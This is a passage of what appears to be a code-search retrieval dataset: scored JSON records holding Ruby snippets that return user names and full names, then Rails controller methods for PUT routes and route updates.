"f31b63e1d9b462b5534c5806c4c0a505", "score": "0.807829", "text": "def get_user_name\n\t\tretVal = \"User Not Found\"\n\t\tuser_id = self.user_id\n\t\tuser = User.find(user_id, :select=>[\"fname\",\"lname\"])\n\t\tunless user.nil?\n\t\t\tretVal = user.fname + \" \" + user.lname\n\t\tend\n\t\treturn retVal\n\tend", "title": "" }, { "docid": "769ae20b901a87c9d57a2a69ebbefc20", "score": "0.80427665", "text": "def name\n\t\tn = names\n\t\treturn n[:fullname] if n[:fullname]\n\t\treturn n[:username] if n[:username]\n\t\treturn I18n.translate(\"user.name.unknown\")\n\tend", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "6a989f9e2ebb333ae8d010579c463072", "score": "0.8025629", "text": "def user_name\n user ? user.name : ''\n end", "title": "" }, { "docid": "ebe949ad01df6888feba388ab0eb8370", "score": "0.8016554", "text": "def user_name\n\t\tobject.user.full_name \n\tend", "title": "" }, { "docid": "e331f42039b26767de423ce2ed2e87c4", "score": "0.7987856", "text": "def user_name\n decode_string_member(:user_name)\n end", "title": "" }, { "docid": "a9d21ff448c0429474237b83adf2a441", "score": "0.7987066", "text": "def user_name\n name = user.nil? ? '' : user.name\n end", "title": "" }, { "docid": "572df409c9a85175dcb3ad5cd1c6e5cb", "score": "0.79510283", "text": "def full_name\n \"#{username}/#{name}\"\n end", "title": "" }, { "docid": "7333f9d31e2b87869b841e493fadbe8b", "score": "0.793286", "text": "def get_full_name(user)\n begin\n Etc.getpwnam(\"#{user}\")[\"gecos\"].chomp\n # or with dscl\n # %x(dscl /Search -read /Users/#{user} dsAttrTypeNative:cn).split.drop(1).join(\" \") \n rescue Exception => e\n end\n \n end", "title": "" }, { "docid": "5efc92d3a3f556f7f3508c4829e60553", "score": "0.7904892", "text": "def full_name\n if self.user\n user.full_name\n else\n self.name\n end\n end", "title": "" }, { "docid": "ded0aec7195ae44aaf0b9cb5a2a9815d", "score": "0.78888136", "text": "def full_name\n if self.profile.present?\n \"#{self.profile.first_name.capitalize} #{self.profile.last_name.capitalize}\"\n else\n \"#{username.capitalize}\"\n end\n end", "title": "" }, { "docid": "24c96eb8973913491511b7f7c4eab7a6", "score": "0.7867536", "text": "def user_name(user_id)\n user = User.where(id: user_id).name\n\n assert(user.kind_of?(User))\n\n return user\n end", "title": "" }, { "docid": "8b879a3599307415dcc4634063ca488d", "score": "0.78413486", "text": "def full_name\n \tif self.first_name != nil and self.last_name != nil\n \t\tself.first_name + \" \" + self.last_name\n \telse\n \t\t\"User does not have a full name\"\n \tend\n end", "title": "" }, { "docid": "0bc9a2de5b4a8b0c70880de276003df6", "score": "0.7826817", "text": "def user_display_name\n return @user_display_name\n end", "title": "" }, { "docid": "0bc9a2de5b4a8b0c70880de276003df6", "score": "0.7826817", "text": "def user_display_name\n return @user_display_name\n end", "title": "" }, { "docid": "0bc9a2de5b4a8b0c70880de276003df6", "score": "0.7826817", "text": "def user_display_name\n return @user_display_name\n end", "title": "" }, { "docid": "14d07a60fb5d36ab22a1c4c042eab6e2", "score": "0.7816933", "text": "def user_full_name\n first_name + \" \" + last_name\n end", "title": "" }, { "docid": "d21e3d7ad6ba9329238c7974928677ad", "score": "0.7786809", "text": "def get_user_name\n if first_name.blank?\n return email.split('@').first.capitalize unless email.blank? \n else\n return first_name.capitalize + \" \" + last_name.capitalize\n end \n return ''\n end", "title": "" }, { "docid": "66cf6ef0bbe34d684175dfeba6c2ba3d", "score": "0.7784587", "text": "def full_name\n \n if (not self.first_name.nil? and not self.first_name.eql? \"\") or (not self.last_name.nil? and not self.last_name.eql? \"\")\n \"#{self.title} #{self.first_name} #{self.last_name}\".strip\n elsif self.username\n self.username \n else\n # wrapped email only prefix\n\n parsed_email = self.email.split('@')\n parsed_email[0]\n end\n end", "title": "" }, { "docid": "e2f313c4d847780ce12e5d49f74e5f09", "score": "0.77688223", "text": "def full_name\n\t\tself.user_fname.capitalize + \" \" + self.user_lname.capitalize\n\tend", "title": "" }, { "docid": "62815bbc616a37b0a6fddffb5e8cd463", "score": "0.7745153", "text": "def name\n if first_name.present? || last_name.present?\n [first_name, last_name].join(\" \").strip\n else\n username\n end\n end", "title": "" }, { "docid": "3ce7542eb078c0fbc5e5a47a707277b9", "score": "0.7740053", "text": "def full_name \n if current_user\n current_user.firstname + \" \" + current_user.lastname\n else\n \"Please Log in\"\n end\n end", "title": "" }, { "docid": "6e89ebe8224a4de1de4b0c2a3c2a5f69", "score": "0.7736027", "text": "def user_display_name\n @attributes[:user_display_name]\n end", "title": "" }, { "docid": "45fd12eeff9329722311c248366773ad", "score": "0.7728491", "text": "def full_name\n \tif !self.first_name.nil? && !self.last_name.nil?\n\t\t\"#{self.first_name.titleize} #{self.last_name.titleize}\"\n\telsif !self.oauth_user_name.nil?\n\t\tself.oauth_user_name\n\telse\n\tend\n end", "title": "" }, { "docid": "79ad3ac6b38dc7ac9fea1a248d9412e0", "score": "0.77053666", "text": "def full_name\n \"#{self.first_name} #{self.last_name}\"\n # can got to rails console and type command \"user = User.first\" => \"user.full_name\"\n end", "title": "" }, { "docid": "6de7d98fb0ec52034530cc5de6854f60", "score": "0.7676503", "text": "def display_name\n username\n end", "title": "" }, { "docid": "6836f674136063441e29f6e0fa8c25f8", "score": "0.7664531", "text": "def name(user_id)\n User.find(user_id).email\n end", "title": "" }, { "docid": "24c8ef5854dd339a450f11b197803b1a", "score": "0.76582104", "text": "def name_of(user)\n user.to_s\n end", "title": "" }, { "docid": "988256850c446ce735ca25173604de63", "score": "0.7653926", "text": "def full_username\r\n return @user.username + '#' + @user.discriminator\r\n end", "title": "" }, { "docid": "8e64f322b89ddc4305c8dd90b854e046", "score": "0.7653718", "text": "def user_name\n User.find(self.user_id).name\n end", "title": "" }, { "docid": "1599cd6b2c264d3f6cf1ca69d69990b1", "score": "0.76292396", "text": "def user_name\n @user_name ||= SlackUtils::SingletonClient.instance.find_user_name(@user_id)\n end", "title": "" }, { "docid": "1834f2d8060c69409150f03115c1323e", "score": "0.7626146", "text": "def name\n \"#{user_name.titleize}\"\n end", "title": "" }, { "docid": "2fac409cd4f81992fd7cca5a610e48e1", "score": "0.76146984", "text": "def display_name_for(user)\n user.first_name.capitalize + ' ' + user.last_name.capitalize + ' ( ID: ' + user.reference_number + ')'\n end", "title": "" }, { "docid": "59ace6ee6b16bc9c98ab3930200a6a5a", "score": "0.76125383", "text": "def display_name\n #self.email.split('@')[0]\n self.username\n end", "title": "" }, { "docid": "f48f706135324b3df8e50e22c768efbb", "score": "0.76080894", "text": "def user_name\n if self.user.blank?\n \"-\"\n else\n self.user.name\n end\n end", "title": "" }, { "docid": "95a39a43bbdb551c43eee9fafd499ee0", "score": "0.7607316", "text": "def user_full_name\n return object.billing_name if object.billing_name.present?\n \"#{user_firstname} #{user_lastname}\"\n end", "title": "" }, { "docid": "fb3173a6aa94b37e7aa71ada0a8b5733", "score": "0.760018", "text": "def user_name(user)\n current_user == user ? I18n.t('helpers.me') : user.name\n end", "title": "" }, { "docid": "4d22d6e8e7fd9e7dfad76ed0f2928eed", "score": "0.7578384", "text": "def to_s\n return user.name\n end", "title": "" }, { "docid": "f2f084f034132a88d6b2e6fd71b488b2", "score": "0.7546302", "text": "def display_name \n username\n end", "title": "" }, { "docid": "5163829a932de46097cca1e6880d6cbd", "score": "0.75446635", "text": "def display_user(user)\n user.name\n end", "title": "" }, { "docid": "0c9b9fe3c7a31fe7d7431e3da278799a", "score": "0.75439435", "text": "def get_displayname(user)\n make_request(:get, \"/profile/#{user}/displayname\")['displayname']\n rescue NotFoundError => e\n raise UserNotFoundError.new(user, e.error),\n 'The specified user could not be found'\n end", "title": "" }, { "docid": "617401a24eeb6279a47adc74fbce662f", "score": "0.75417507", "text": "def get_user_name_not_null\n user = User.first(:id => self.user_id )\n return user.login if user\n return \"anon\"\n end", "title": "" }, { "docid": "b1c646ef82e209b60186e457ca7b1c63", "score": "0.7528754", "text": "def user_name(uid)\n deter_lab.get_profile(uid).try(:[], \"name\")\n end", "title": "" }, { "docid": "1ea0353eafee32a39e82e5337281ffcb", "score": "0.75248796", "text": "def hubssolib_get_user_name\n user = self.hubssolib_current_user\n user ? user.user_real_name : nil\n end", "title": "" }, { "docid": "cc95a76721d00d366abfc28cefa11f1e", "score": "0.75176275", "text": "def user_name\n name = self.le_user.nil? ? '' : self.le_user.name\n end", "title": "" }, { "docid": "60674e79fa85778a08532703ef29626d", "score": "0.75074726", "text": "def full_name\n if !first_name && !last_name\n return \"New User\"\n else\n return first_name + \" \" + last_name\n end\n end", "title": "" }, { "docid": "a56771b4acc75ad4c314c4dbcd3d1e83", "score": "0.7486029", "text": "def get_username\n @user_name ||= self.user.username\n end", "title": "" }, { "docid": "7a011a88ab98d723fbb1d22a93167fda", "score": "0.74842507", "text": "def user_name\n read_attribute('user_name') || \"anonymous\"\n end", "title": "" }, { "docid": "5254f3134619c427b51641211b2410cf", "score": "0.74830294", "text": "def full_name\n \"#{user_profile.first_name} #{user_profile.last_name}\" unless user_profile.blank?\n end", "title": "" }, { "docid": "e6fd1a8aacf46b1e1aa23f09e0fc23ca", "score": "0.7448855", "text": "def get_realname\n response = get_current_user_meta('realname')\n realname = response['query']['userinfo']['realname']\n return if realname == ''\n\n realname\n end", "title": "" }, { "docid": "31f617a616da6e21cef28ded537c27e9", "score": "0.7440729", "text": "def display_name\n \"#{username} <#{email}>\"\n end", "title": "" }, { "docid": "dacee73c64bf3993fc84a4d34e1aebd1", "score": "0.7427684", "text": "def user_name\n @message[:user][:name]\n end", "title": "" }, { "docid": "27a4b3bbff4f45ee47062bd4ab378d33", "score": "0.74185526", "text": "def get_name(id)\n return \"\" if !id\n user = User.find(id)\n user.first_name + ' ' + user.last_name\n end", "title": "" }, { "docid": "644f30bf6fc9e82f331bd43462eea48b", "score": "0.74093246", "text": "def full_name\n (@session[:current_user_details] || {})[:description]\n end", "title": "" }, { "docid": "2bd01196fae88efd76455f7bf2b833a8", "score": "0.7408077", "text": "def sol_full_name(user)\n user.sol_f_name + ' ' + user.sol_fl_name\n end", "title": "" }, { "docid": "d3baa5a4271acf4f6c250657472d75cc", "score": "0.7405958", "text": "def full_name\n \treturn \"#{first_name} #{last_name}\".strip if(first_name || last_name) \n \t\"Anonymous\"\n end", "title": "" }, { "docid": "958d47f5989117c5cfe757bbbbbfbe3b", "score": "0.74025154", "text": "def get_username(user_id)\n return User.find(user_id).username\n end", "title": "" }, { "docid": "9a5473303ff3adab6d385e81ff7466f4", "score": "0.74005014", "text": "def name\n \"#{self.class.name.titleize}: #{user.email rescue 'unknown user'}\"\n end", "title": "" }, { "docid": "b11f0d7484568d21bbe847535fb473c3", "score": "0.7364259", "text": "def full_name\n json[\"entry_data\"][\"ProfilePage\"].first[\"graphql\"][\"user\"][\"full_name\"]\n end", "title": "" }, { "docid": "5e9af48b8a100b36f2abca00655017c4", "score": "0.73563623", "text": "def display_name\n entry = JSON.parse(self.entry)\n user = User.find(user_id)\n \"#{user.display_name} #{entry['text']}\"\n end", "title": "" }, { "docid": "c1152689f305cfe5bcac1552638bcd71", "score": "0.73433137", "text": "def user_name(name = nil)\n return user_name_from_name(name) if name\n\n user_name_random\n end", "title": "" }, { "docid": "27a9c2ffcebf4688540de6cceeae0322", "score": "0.73390377", "text": "def full_name()\n name + ' ' + last_name\n end", "title": "" }, { "docid": "23cec5e40251bd4ea7bb5cc72cede2bb", "score": "0.73293823", "text": "def get_user_name client, event\n # calls users_info on slack\n info = client.users_info(user: event.user_id )\n info['user']['name']\n end", "title": "" }, { "docid": "1f715e8b319f76b39ce0ae0f349db834", "score": "0.7313647", "text": "def name\n userName\n end", "title": "" }, { "docid": "46cd901b4c0199cd08a14b3e6a84218e", "score": "0.73073524", "text": "def full_name\n \"#{first_name} #{last_name}\"\n end", "title": "" }, { "docid": "46cd901b4c0199cd08a14b3e6a84218e", "score": "0.73073524", "text": "def full_name\n \"#{first_name} #{last_name}\"\n end", "title": "" }, { "docid": "46cd901b4c0199cd08a14b3e6a84218e", "score": "0.73073524", "text": "def full_name\n \"#{first_name} #{last_name}\"\n end", "title": "" }, { "docid": "b51023d6e4e11bc7b468556dd16b12e2", "score": "0.7304325", "text": "def full_name\n return '' unless profile\n profile.full_name\n end", "title": "" }, { "docid": "7fdf04ced64d82a8c68977c66df7c618", "score": "0.7287694", "text": "def name_of_user(username)\n username.split('.').map(&:capitalize)\n end", "title": "" }, { "docid": "2d9cf9f8395936161944eaf33a50c0f6", "score": "0.7281819", "text": "def full_name\n\t\treturn self.salutation.to_s + \" \" + self.last_name.to_s + \" \" + self.first_name.to_s\n end", "title": "" }, { "docid": "c8352f5d15c3483c79aba01d028138aa", "score": "0.725733", "text": "def get_username_by_user_id(user_id)\n User.find(user_id).username\n end", "title": "" }, { "docid": "c8352f5d15c3483c79aba01d028138aa", "score": "0.725733", "text": "def get_username_by_user_id(user_id)\n User.find(user_id).username\n end", "title": "" }, { "docid": "cadca9adb97e5a322e5c22aebc6bff42", "score": "0.7257271", "text": "def get_user_name client, event\n # calls users_info on slack\n info = client.users_info(user: event.user_id ) \n info['user']['name']\n end", "title": "" }, { "docid": "4dec797fd2f00a13b3c473d383452ea9", "score": "0.7248879", "text": "def user_firstname\n return @message[:user][:name].split(' ').first\n end", "title": "" }, { "docid": "2a59dab40c4e799f6a3585883d141f9c", "score": "0.7242953", "text": "def login_user_name\n user_name.tr('.', '')\n end", "title": "" }, { "docid": "0661c905df85bdc7b5fe36d282101484", "score": "0.7234628", "text": "def full_name\n return first_name + \" \" + last_name\n end", "title": "" }, { "docid": "0661c905df85bdc7b5fe36d282101484", "score": "0.7234628", "text": "def full_name\n return first_name + \" \" + last_name\n end", "title": "" }, { "docid": "d93cf6abdd38bde9e85aca9816d2c0d3", "score": "0.72270775", "text": "def get_current_user_name\n return @name if @name\n name = get_current_user_meta\n name = name['query']['userinfo']['name'] if name\n\n name\n end", "title": "" } ]
b501139d2f2e8b2ee48057c64c6b75e3
PUT /routes/1 PUT /routes/1.json
[ { "docid": "a19cc696e7f690d0ac2b06fafee168c4", "score": "0.60421675", "text": "def update\n @route = Route.find(params[:id])\n authorize_action_for(@route)\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "aa0b87a16ede7353758305dbbaf57c22", "score": "0.72261864", "text": "def put(*a) route 'PUT', *a end", "title": "" }, { "docid": "15795b8668a671dd9e5b413207169df5", "score": "0.68336046", "text": "def update(id, params)\n put(\"routes/#{id}\", params)\n end", "title": "" }, { "docid": "b281d991d5f075ee79653165b0d0a25a", "score": "0.6779851", "text": "def put(path, opts={})\n add_route(PUT, path, opts)\n end", "title": "" }, { "docid": "3bf795fcdad95f3219752b841fc7d760", "score": "0.66510296", "text": "def put(route, params = nil)\n request(route, \"put\", params)\n end", "title": "" }, { "docid": "47a089470c2dd5a30ef740085f9adac3", "score": "0.6649956", "text": "def update_route(id)\n node = JSON.parse(Excon.get(API_URL + \"/node/#{id}\", headers: HEADERS, expects: [200]).body)\n config = node[\"config\"][\"vpn\"]\n config[\"networks\"].first[\"routes\"].first[\"description\"] = Time.now.to_s\n puts Excon.put(API_URL + \"/node/#{id}/config/vpn\", headers: HEADERS, body: config.to_json, expects: [200]).body\nend", "title": "" }, { "docid": "a1fe105523052e2c97f0d2b6277b51e7", "score": "0.6516867", "text": "def update_routes\n\t @ua.routes_inf = params[:routes_inf]\n\t if @ua.save\n\t \twrite_file_d(\"apps_repo/#{@ua.rep_n}/config/routes.rb\",\"#{@ua.rep_n.capitalize}::Engine.routes.draw do \\n\" + @ua.routes_inf + \"\\n end \\n\" , true)\n\t\t\t@status = 200\n\t end\n\t\trender json: @res , status: @status\t\t \t\n\tend", "title": "" }, { "docid": "fbd7c46b15ae2792fd842ba0d764b7d0", "score": "0.650122", "text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end", "title": "" }, { "docid": "db87e7f0340e3efe8bce71edc792656b", "score": "0.64563423", "text": "def update\n @route = @trip.routes.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to session[:return_to], notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "921eb0500256b380dd5ab872ae6f9f15", "score": "0.63191926", "text": "def put(path, to: nil, **options, &block)\n route Constants::Http::PUT, path, to: to, **options, &block\n end", "title": "" }, { "docid": "8b184242acb0ee51d7b96216a69a1db5", "score": "0.63138235", "text": "def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b184242acb0ee51d7b96216a69a1db5", "score": "0.63138235", "text": "def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b184242acb0ee51d7b96216a69a1db5", "score": "0.63138235", "text": "def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac77d62a568c89c5a27c4d8555fb8b50", "score": "0.631062", "text": "def update\r\n @route = Route.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @route.update_attributes(params[:route])\r\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @route.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "35240517685e2cfe0588ead88d2475fd", "score": "0.63049936", "text": "def put(path, options = {}, &blk)\n @router.put(path, options, &blk)\n end", "title": "" }, { "docid": "71562ec5392e50fb9a3bbd6c7d2e3eb8", "score": "0.62768006", "text": "def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to routes_path, notice: I18n.t('activerecord.successful.messages.updated', :model => @route.class.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5399ff7a7b368fc9733d54756679bade", "score": "0.62468797", "text": "def update\n\n params[:route][:id].each do |route|\n if !route.empty?\n @station.stationsroutes.build(:route_id => route)\n end\n end\n\n respond_to do |format|\n if @station.update(station_params)\n format.html {redirect_to @station, notice: 'Station was successfully updated.'}\n format.json {render :show, status: :ok, location: @station}\n else\n format.html {render :edit}\n format.json {render json: @station.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "9f105d3707781defdb9e4b97307a2a26", "score": "0.61826426", "text": "def put(path, options = nil, &block)\n router.put(path).with_options(options).to(&block)\n end", "title": "" }, { "docid": "2adcc31e29d39d63406be585d3ec1d8d", "score": "0.6156778", "text": "def update\n if @truck_route.update(truck_route_params)\n render json: @truck_route, status: :ok\n else\n render json: @truck_route.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "be837328a153654b951ea226c16ecff8", "score": "0.6139855", "text": "def update_route\n @route = Route.find_by_uuid(params[:rid])\n\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to route_list_path(:vid => @vehicle.uuid), notice: 'successfully updated.' }\n else\n @routes = @vehicle.get_active_routes\n format.html { render action: \"route_list\" }\n end\n end\n end", "title": "" }, { "docid": "a648eb72af4111c2a05389020d6b743e", "score": "0.6134127", "text": "def put( pattern='', options={}, &block )\n\t\t\tself.add_route( :PUT, pattern, options, &block )\n\t\tend", "title": "" }, { "docid": "c7d3cd0f218c42e01dbd0246ab7b00c9", "score": "0.61068463", "text": "def put(path, params={}); make_request(:put, host, port, path, params); end", "title": "" }, { "docid": "b2d5fc83a907f25e5176864fa6beb3d0", "score": "0.61057717", "text": "def put_rest(path, json) \n run_request(:PUT, create_url(path), json)\n end", "title": "" }, { "docid": "f4de9a47c3dc7c025d28b7e84b43915a", "score": "0.6016989", "text": "def put(path, json, headers = {})\n request(:PUT, path, headers, json)\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "375023b3693f86cb66e93d1462a24de5", "score": "0.60089433", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "173a095f60b5f5c285311762f72dcf8f", "score": "0.59927064", "text": "def update\n respond_to do |format|\n if @aws_route_table_route.update(aws_route_table_route_params)\n format.html { redirect_to @aws_route_table_route, notice: 'Aws route table route was successfully updated.' }\n format.json { render :show, status: :ok, location: @aws_route_table_route }\n else\n format.html { render :edit }\n format.json { render json: @aws_route_table_route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c2e953ae73a4d41c60f4f6363805c48", "score": "0.59822845", "text": "def put(path, json, headers = {}, options = {})\n request(:PUT, path, headers, options, json)\n end", "title": "" }, { "docid": "4722dc2a6f5c557a4efce3d98655fed6", "score": "0.59820515", "text": "def update\n if current_user.try(:admin?)\n @route = Route.find(params[:id])\n else\n @route = current_user.routes.find(params[:id])\n end\n \n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b80a9be1ee87a6df03c72ffc73d1b800", "score": "0.5970421", "text": "def update\n if @route_schedule.update(route_schedule_params)\n render json: @route_schedule, status: :ok \n else\n render json: @route_schedule.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "8e18db431964c254de53caa41795b702", "score": "0.59691405", "text": "def put *args\n make_request :put, *args\n end", "title": "" }, { "docid": "07918d5a67562e424f50e841ebcd6a84", "score": "0.59591824", "text": "def put(path , params = {})\n request(:put , path , params)\n end", "title": "" }, { "docid": "67c9ab4237b70c6d7f1a4a457785ec83", "score": "0.5956949", "text": "def put(path, opts = {}, &app); add_with_request_method(path, :put, opts, &app); end", "title": "" }, { "docid": "07125f16aad3873222e039b85b0f4e84", "score": "0.593763", "text": "def put_rest(path, json, headers={})\n run_request(:PUT, create_url(path), headers, json)\n end", "title": "" }, { "docid": "6b88e8534e926c1447e1f752c95d2a77", "score": "0.5915608", "text": "def rest_put(path, options = {}, api_ver = @api_version)\n rest_api(:put, path, options, api_ver)\n end", "title": "" }, { "docid": "6b88e8534e926c1447e1f752c95d2a77", "score": "0.5915608", "text": "def rest_put(path, options = {}, api_ver = @api_version)\n rest_api(:put, path, options, api_ver)\n end", "title": "" }, { "docid": "f5926911396b0bd335dd0f0a587a8ae5", "score": "0.59144783", "text": "def put(path, content=nil, params={}, &blk)\n register_route(path, :PUT, content, params, &blk)\n end", "title": "" }, { "docid": "39234d5da6842d7e48b0d18aba4333c0", "score": "0.5909307", "text": "def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to(@route, :notice => 'Route was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39234d5da6842d7e48b0d18aba4333c0", "score": "0.5909307", "text": "def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to(@route, :notice => 'Route was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d394ba6759d4154291dd1452737c92f", "score": "0.58933127", "text": "def update\n @route = Line.find_by_slug(params[:line_id]).routes.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes parse_hours_and_minutes(params[:route])\n format.html { redirect_to [@route.line, @route], notice: 'Route was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11121476217f458129b11f6447608aee", "score": "0.58805096", "text": "def put(path, params: {}, headers: {})\n request_json :put, path, params, headers\n end", "title": "" }, { "docid": "16f4bc1c976f7f50177f52d3cd597646", "score": "0.5879741", "text": "def update\n @route = Route.find(params[:id])\n \n respond_to do |format|\n if @route.update_attributes(params[:route])\n format.html { redirect_to(@route, :notice => t('record_updated')) }\n format.xml { head :ok }\n else\n 10.times do \n @route.route_lines.build\n end\n \n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67528eb7139fcd48ff8ef5e84fcf1713", "score": "0.5830619", "text": "def update\n 